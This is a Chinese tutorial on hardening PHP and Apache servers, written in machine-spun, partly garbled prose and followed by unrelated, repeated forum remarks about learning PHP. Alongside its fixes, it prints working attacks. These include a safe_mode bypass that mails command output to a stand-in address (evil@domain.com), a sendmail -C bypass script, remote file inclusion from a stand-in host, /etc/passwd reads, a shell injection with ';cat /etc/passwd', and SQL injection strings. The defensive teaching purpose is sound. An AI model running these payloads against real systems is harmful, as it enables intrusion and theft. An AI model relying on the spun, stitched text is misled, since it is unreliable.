PHP网站制作之PHP情况平安设置装备摆设教程
PHP原始为Personal Home Page的缩写,已经正式更名为 "PHP: Hypertext Preprocessor"。注意不是“Hypertext Preprocessor”的缩写,这种将名称放到定义中的写法被称作递归缩写。平安|教程 1、Web办事器平安PHP其实不外是Web办事器的一个模块功效,所以起首要包管Web办事器的平安。固然Web办事器要平安又必需是先包管体系平安,如许就扯远了,无量无尽。PHP可以和各类Web办事器联合,这里也只会商Apache。十分建议以chroot体例装置启动Apache,如许即便Apache和PHP及其剧本呈现破绽,受影响的也只要这个禁锢的体系,不会伤害实践体系。然而利用chroot的Apache后,给使用也会带来必定的费事,好比毗连mysql时必需用127.0.0.1地址利用tcp毗连而不克不及用localhost完成socket毗连,这在效力上会略微差一点。还有mail函数发送邮件也是个成绩,由于php.ini里的:
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需求在chroot情况下调剂好sendmail。
2、PHP自己成绩
1、近程溢出
PHP-4.1.2以下的一切版本都存在文件上传近程缓冲区溢露马脚,并且进击法式已普遍传播,胜利率十分高:
packetstormsecurity.org/0204-exploits/7350fun
hsj.shadowpenguin.org/misc/php3018_exp.txt
2、近程回绝办事
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST恳求处置近程破绽,固然不克不及取得当地用户权限,然而也能形成回绝办事。
3、safe_mode绕过破绽
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制履行号令破绽,4.0.5版本入手下手mail函数增添了第五个参数,因为设计者思索不周可以冲破safe_mode的限制履行号令。个中4.0.5版本冲破十分复杂,只需用分号离隔前面加shell号令就能够了,好比存在PHP剧本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
履行以下的URL:
foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
这将id履行的了局发送给evil@domain.com。
关于4.0.6至4.2.2的PHP冲破safe_mode限制实际上是使用了sendmail的-C参数,所以体系必需是利用sendmail。以下的代码可以冲破safe_mode限制履行号令:
<?
# 注重,上面这两个必需是不存在的,或它们的属主和本剧本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
仍是利用以上有成绩版本PHP的用户必定要实时晋级到最新版本,如许才干消弭根基的平安成绩。
3、PHP自己的平安设置装备摆设
PHP的设置装备摆设十分天真,可以经由过程php.ini, httpd.conf, .htaccess文件(该目次必需设置了AllowOverride All或Options)停止设置,还可以在剧本法式里利用ini_set()及其他的特定的函数停止设置。经由过程phpinfo()和get_cfg_var()函数可以失掉设置装备摆设选项的各个值。
假如设置装备摆设选项是独一PHP_INI_SYSTEM属性的,必需经由过程php.ini和httpd.conf来修正,它们修正的是PHP的Master值,但修正以后必需重启apache才干失效。个中php.ini设置的选项是对Web办事器一切剧本失效,httpd.conf里设置的选项是对该界说的目次下一切剧本失效。
假如还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就能够利用.htaccess文件设置,也能够经由过程在剧本法式本身用ini_set()函数设定,它们修正的是Local值,改了今后即刻失效。然而.htaccess只对以后目次的剧本法式失效,ini_set()函数只对该剧本法式设置ini_set()函数今后的代码失效。各个版本的选项属性能够不尽不异,可以用以下号令查找以后源代码的main.c文件失掉一切的选项,和它的属性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在会商PHP平安设置装备摆设之前,应当好好懂得PHP的safe_mode形式。
1、safe_mode
safe_mode是独一PHP_INI_SYSTEM属性,必需经由过程php.ini或httpd.conf来设置。要启用safe_mode,只需修正php.ini:
safe_mode = On
或修正httpd.conf,界说目次:
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重启apache后safe_mode就失效了。启动safe_mode,会对很多PHP函数停止限制,出格是和体系相干的文件翻开、号令履行等函数。
一切操作文件的函数将只能操作与剧本UID不异的文件,好比test.php剧本的内容为:
<?include("index.html")?>
几个文件的属性以下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在阅读器恳求test.php会提醒以下的毛病信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
假如被操作文件地点目次的UID和剧本UID分歧,那末该文件的UID即便和剧本分歧也能够会见的,不知这是不是是PHP的一个破绽仍是尚有隐情。所以php剧本属主这个用户最好就只作这个用处,相对制止利用root做为php剧本的属主,如许就达不到safe_mode的后果了。
假如想将其放宽到GID对照,则翻开 safe_mode_gid可以思索只对照文件的GID,可以设置以下选项:
safe_mode_gid = On
设置了safe_mode今后,一切号令履行的函数将被限制只能履行php.ini里safe_mode_exec_dir指定目次里的法式,并且shell_exec、`ls -l`这类履行号令的体例会被制止。假如的确需求挪用其它法式,可以在php.ini做以下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝法式到该目次,那末php剧本就能够用system等函数来履行该法式。并且该目次里的shell剧本仍是可以挪用其它目次里的体系号令。
safe_mode_include_dir string
当从此目次及其子目次(目次必需在 include_path 中或用完全途径来包括)包括文件时超出 UID/GID 反省。
从 PHP 4.2.0 入手下手,本指令可以承受和 include_path 指令相似的作风用分号离隔的途径,而不只是一个目次。
指定的限制实践上是一个前缀,而非一个目次名。这也就是说“safe_mode_include_dir = /dir/incl”将答应会见“/dir/include”和“/dir/incls”,假如它们存在。假如您但愿将会见掌握在一个指定的目次,那末请在开头加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些情况变量多是潜伏的平安缺口。本指令包括有一个逗号分隔的前缀列表。在平安形式下,用户只能改动那些名字具有在这里供应的前缀的情况变量。默许情形下,用户只能设置以 PHP_ 开首的情况变量(例如 PHP_FOO = BAR)。
注: 假如本指令为空,PHP 将利用户可以修正任何情况变量!
safe_mode_protected_env_vars string
本指令包括有一个逗号分隔的情况变量的列表,终究用户不克不及用 putenv() 来改动这些情况变量。乃至在 safe_mode_allowed_env_vars 中设置了答应修正时也不克不及改动这些变量。
固然safe_mode不是全能的(低版本的PHP可以绕过),但仍是激烈建议翻开平安形式,在必定水平上可以防止一些未知的进击。不外启用safe_mode会有良多限制,能够对使用带来影响,所以还需求调剂代码和设置装备摆设才干协调。被平安形式限制或屏障的函数可以参考PHP手册。
会商完safe_mode后,上面联合法式代码实践能够呈现的成绩会商若何经由过程对PHP办事器真个设置装备摆设来防止呈现的破绽。
2、变量滥用
PHP默许register_globals = On,关于GET, POST, Cookie, Environment, Session的变量可以直接注册玉成局变量。它们的注册按次是variables_order = "EGPCS"(可以经由过程php.ini修正),同名变量variables_order右侧的掩盖右边,所以变量的滥用极易形成法式的凌乱。并且剧本法式员常常没有对变量初始化的习气,像以下的法式片段就极易遭到进击:
<?
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
进击者只需用以下的恳求就可以绕过反省:
victim/test_1.php?auth=1
这固然是一个很弱智的毛病,但一些有名的法式也有犯过这类毛病,好比phpnuke的近程文件拷贝破绽:www.securityfocus.com/bid/3361
PHP-4.1.0宣布的时分建议封闭register_globals,并供应了7个特别的数组变量来利用各类变量。关于从GET、POST、COOKIE等来的变量其实不会直接注册成变量,必须经由过程数组变量来存取。PHP-4.2.0宣布的时分,php.ini默许设置装备摆设就是register_globals = Off。这使得法式利用PHP本身初始化的默许值,通常是0,防止了进击者掌握判别变量。
处理办法:
设置装备摆设文件php.ini设置register_globals = Off。
请求法式员对作为判别的变量在法式最入手下手初始化一个值。
3、文件翻开
极易受进击的代码片段:
<?
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>
因为进击者可以指定恣意的$filename,进击者用以下的恳求就能够看到/etc/passwd:
victim/test_2.php?filename=/etc/passwd
以下恳求可以读php文件自己:
victim/test_2.php?filename=test_2.php
PHP中文件翻开函数还有fopen(), file()等,假如对文件名变量反省不严就会形成办事重视要文件被会见读取。
处理办法:
如非特别需求,把php的文件操作限制在web目次外面。以下是修正apache设置装备摆设文件httpd.conf的一个例子:
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重启apache后,/usr/local/apache/htdocs目次下的PHP剧本就只能操作它本人目次下的文件了,不然PHP就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
利用safe_mode形式也能防止这类成绩,后面已会商过了。
4、包括文件
极易受进击的代码片段:
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这类不担任任的代码会形成相当大的伤害,进击者用以下恳求可以失掉/etc/passwd文件:
victim/test_3.php?filename=/etc/passwd
假如关于Unix版的PHP(Win版的PHP不撑持近程翻开文件)进击者可以在本人开了http或ftp办事的机械上创立一个包括shell号令的文件,如attack/attack.txt的内容是<?passthru("ls /etc")?>,那末以下的恳求就能够在方针主机履行号令ls /etc:
victim/test_3.php?filename=http://attack/attack.txt
进击者乃至可以经由过程包括apache的日记文件access.log和error.log来失掉履行号令的代码,不外因为搅扰信息太多,有时不容易胜利。
关于别的一种模式,以下代码片段:
<?
//test_4.php
include("$lib/config.php");
?>
进击者可以在本人的主机创立一个包括履行号令代码的config.php文件,然后用以下恳求也能够在方针主机履行号令:
victim/test_4.php?lib=http://attack
PHP的包括函数有include(), include_once(), require(), require_once。假如对包括文件名变量反省不严就会对体系形成严重风险,可以近程履行号令。
处理办法:
请求法式员包括文件里的参数尽可能不要利用变量,假如利用变量,就必定要严厉反省要包括的文件名,相对不克不及由用户恣意指定。
如后面文件翻开中限制PHP操作途径是一个需要的选项。别的,如非特别需求,必定要封闭PHP的近程文件翻开功效。修正php.ini文件:
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保留在php.ini的upload_tmp_dir界说的一时目次(默许是体系的一时目次,如:/tmp)里的一个相似phpxXuoXG的随机一时文件,法式履行停止,该一时文件也被删除。PHP给上传的文件界说了四个变量:(如form变量名是file,并且register_globals翻开)
$file #就是保留到办事器真个一时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的巨细
$file_name #上传文件的原始称号
$file_type #上传文件的类型
保举利用:
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
这是一个最复杂的文件上传代码:
<?
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传胜利!点击<a href=\"$PHP_SELF\">持续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>
如许的上传代码存在读取恣意文件和履行号令的严重成绩。
上面的恳求可以把/etc/passwd文档拷贝到web目次/usr/local/apache/htdocs/test(注重:这个目次必需nobody可写)下的attack.txt文件里:
victim/test_5.php?upload=1&;file=/etc/passwd&file_name=attack.txt
然后可以用以下恳求读取口令文件:
victim/test/attack.txt
进击者可以把php文件拷贝成其它扩大名,泄露剧本源代码。
进击者可以自界说form里file_name变量的值,上传掩盖恣意有写权限的文件。
进击者还可以上传PHP剧本履行主机的号令。
处理办法:
PHP-4.0.3今后供应了is_uploaded_file和move_uploaded_file函数,可以反省操作的文件是不是是用户上传的文件,从而防止把体系文件拷贝到web目次。
利用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严厉反省上传变量。好比不答应是php剧本文件。
把PHP剧本操作限制在web目次可以免法式员利用copy函数把体系文件拷贝到web目次。move_uploaded_file不受open_basedir的限制,所以不用修正php.ini里upload_tmp_dir的值。
把PHP剧本用phpencode停止加密,防止因为copy操作泄露源码。
严厉设置装备摆设文件和目次的权限,只答应上传的目次可以让nobody用户可写。
关于上传目次去失落PHP注释功效,可以经由过程修正httpd.conf完成:
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#假如是php3换成php3_engine off
</Directory>
重启apache,upload目次的php文件就不克不及被apache注释了,即便上传了php文件也没有成绩,只能直接显示源码。
6、号令履行
上面的代码片段是从PHPNetToolpack摘出,具体的描写见:
www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
因为法式没有过滤$a_query变量,所以进击者可以用分号来追加履行号令。
进击者输出以下恳求可以履行cat /etc/passwd号令:
victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的号令履行函数还有system(), passthru(), popen()和``等。号令履行函数十分风险,慎用。假如要利用必定要严厉反省用户输出。
处理办法:
请求法式员利用escapeshellcmd()函数过滤用户输出的shell号令。
启用safe_mode可以根绝良多履行号令的成绩,不外要注重PHP的版本必定如果最新的,小于PHP-4.2.2的都能够绕过safe_mode的限制去履行号令。
7、sql_inject
以下的SQL语句假如未对变量停止处置就会存在成绩:
select * from login where user='$user' and pass='$pass'
进击者可以用户名和口令都输出1' or 1='1绕过验证。
不外亏得PHP有一个默许的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量主动加了addslashes()操作。下面SQL语句酿成了:
select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1'
从而防止了此类sql_inject进击。
关于数字类型的字段,良多法式员会如许写:
select * from test where id=$id
因为变量没有效单引号扩起来,就会形成sql_inject进击。亏得MySQL功效复杂,没有sqlserver等数据库有履行号令的SQL语句,并且PHP的mysql_query()函数也只答应履行一条SQL语句,所以用分号离隔多条SQL语句的进击也不克不及见效。然而进击者最少还可让查询语句失足,泄露体系的一些信息,或一些意想不到的情形。
处理办法:
请求法式员对一切用户提交的要放到SQL语句的变量停止过滤。
即便是数字类型的字段,变量也要用单引号扩起来,MySQL本人会把字串处置成数字。
在MySQL里不要给PHP法式初级别权限的用户,只答应对本人的库停止操作,这也防止了法式呈现成绩被 SELECT INTO OUTFILE ... 这类进击。
8、正告及毛病信息
PHP默许显示一切的正告及毛病信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平常开辟调试时这十分有效,可以依据正告信息即刻找到法式毛病地点。
正式使用时,正告及毛病信息让用户手足无措,并且给进击者泄露了剧本地点的物理途径,为进击者的进一步进击供应了有益的信息。并且因为本人没有会见到毛病的中央,反而不克不及实时修正法式的毛病。所以把PHP的一切正告及毛病信息纪录到一个日记文件长短常明智的,即不给进击者泄露物理途径,又能让本人晓得法式毛病地点。
修正php.ini中关于Error handling and logging局部内容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache,注重文件/usr/local/apache/logs/php_error.log必须可让nobody用户可写。
9、disable_functions
假如感觉有些函数还有威逼,可以设置php.ini里的disable_functions(这个选项不克不及在httpd.conf里设置),好比:
disable_functions = phpinfo, get_cfg_var
可以指定多个函数,用逗号分隔。重启apache后,phpinfo, get_cfg_var函数都被制止了。建议封闭函数phpinfo, get_cfg_var,这两个函数轻易泄露办事器信息,并且没有实践用途。
10、disable_classes
这个选项是从PHP-4.3.2入手下手才有的,它可以禁用某些类,假如有多个用逗号分隔类名。disable_classes也不克不及在httpd.conf里设置,只能在php.ini设置装备摆设文件里修正。
11、open_basedir
后面剖析例程的时分也屡次提到用open_basedir对剧本操作途径停止限制,这里再引见一下它的特征。用open_basedir指定的限制实践上是前缀,不是目次名。也就是说 "open_basedir = /dir/incl" 也会答应会见 "/dir/include" 和 "/dir/incls",假如它们存在的话。假如要将会见限制在仅为指定的目次,用斜线停止途径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目次,在Windows中,用分号分隔目次。在任何其它体系顶用冒号分隔目次。作为Apache模块时,父目次中的open_basedir途径主动被承继。
4、其它平安设置装备摆设
1、作废其它用户对经常使用、主要体系号令的读写履行权限
普通办理员保护只需一个通俗用户和办理用户,除这两个用户,给其它用户可以履行和会见的器材应当越少越好,所以作废其它用户对经常使用、主要体系号令的读写履行权限能在法式或办事呈现破绽的时分给进击者带来很大的利诱。记住必定要连读的权限也去失落,不然在linux下可以用/lib/ld-linux.so.2 /bin/ls这类体例来履行。
假如要作废某程假如是在chroot情况里,这个任务对照轻易完成,不然,这项任务仍是有些应战的。由于作废一些法式的履行权限会招致一些办事运转不正常。PHP的mail函数需求/bin/sh去挪用sendmail发信,所以/bin/bash的履行权限不克不及去失落。这是一项对照累人的任务,
2、去失落apache日记其它用户的读权限
apache的access-log给一些呈现当地包括破绽的法式供应了便利之门。经由过程提交包括PHP代码的URL,可使access-log包括PHP代码,那末把包括文件指向access-log就能够履行那些PHP代码,从而取得当地会见权限。
假如有其它虚拟主机,也应当响应去失落该日记文件其它用户的读权限。
固然,假如你依照后面引见的设置装备摆设PHP那末普通已是没法读取日记文件了。
终于理解了数据库的概念,而且让你兴奋不已的是你终于可以通过PHP来连接数据库了,这期间你是怎么学会的,我们不去考证了,但是事实证明,你已经可以了。 作为一个合格的coder 编码的规范是必须,命名方面我推崇“驼峰法”,另外就是自己写的代码最好要带注释,不然时间长了,就算是自己的代码估计看起来都费事,更不用说别人拉。 小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。 首先声明:我是一个菜鸟,是一个初学者。学习了一段php后总是感觉自己没有提高,无奈。经过反思我认为我学习过程中存在很多问题,我改变了学习方法后自我感觉有了明显的进步。 再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。 本文当是我的笔记啦,遇到的问题随时填充 对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。 php是动态网站开发的优秀语言,在学习的时候万万不能冒进。在系统的学习前,我认为不应该只是追求实现某种效果,因为即使你复制他人的代码调试成功,实现了你所期望的效果,你也不了解其中的原理。 在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、 对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。 写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。 基础有没有对学习php没有太大区别,关键是兴趣。 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。 写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。 ,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。 环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。 微软最近出的新字体“微软雅黑”,虽然是挺漂亮的,不过firefox支持的不是很好,所以能少用还是少用的好。 写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。 当然这种网站的会员费就几十块钱。
页:
[1]
2